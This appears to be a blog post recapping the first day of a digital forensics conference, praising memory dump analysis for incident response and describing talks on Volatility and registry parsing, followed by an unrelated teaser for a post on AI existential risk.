The writing has been on the wall for a few years now that collecting memory dumps could replace a bunch of more traditional live response steps and with the advances that these tools bring, there should no longer be any doubt that collecting memory should be the first step in any incident response. There are bits of information you can get from memory that you can't get from any other tools. One of these is time stamps for socket connections. To say nothing of memory resident malware. Memory analysis is the future and the future is here now (though it may not be evenly distributed, as has been said).

Even if you're dealing with a system that doesn't currently have good analysis tools available for its memory dumps, don't underestimate the ability of geniuses like Butler and Silberman to create tools that may one day help your case and in the meantime, there's still scads of information you can glean from a simple strings search.

Following Butler and Silberman, Brendan Dolan-Gavitt a post-grad at Georgia Tech and a contributor to Volatility talked about and demoed some of his work parsing registry structures from memory dumps.

At that point, my brain was pretty full so I checked out for a bit and went to dinner, but made it back in time to catch the live recording of Cyberspeak. It was fun to watch the show and there was some great discussion between Ovie Carroll Larson and Craig Ball. I wish the members of the audience participating in the discussion could have been mic'd because there were lots of smart comments.

All in all, it was an amazing day. This was only my second time being in Washington D.C., my other visit being for Shmoocon and I considered cutting out to go do some sight-seeing, until I got there and realized there was going to be some world class content that no one in their right mind would want to miss.

I know it's the intention of the organizers to post as much of the presentations as possible, but as of this writing the files aren't available. Watch the SANS Forensics Blog for an announcement once the presentations are posted.

I'll post my day two recap in the next few days.

Paperclip Maximizers, Artificial Intelligence and Natural Stupidity

Existential risk from AI Some believe an existential risk accompanies the development or emergence of artificial general intelligence (AGI)...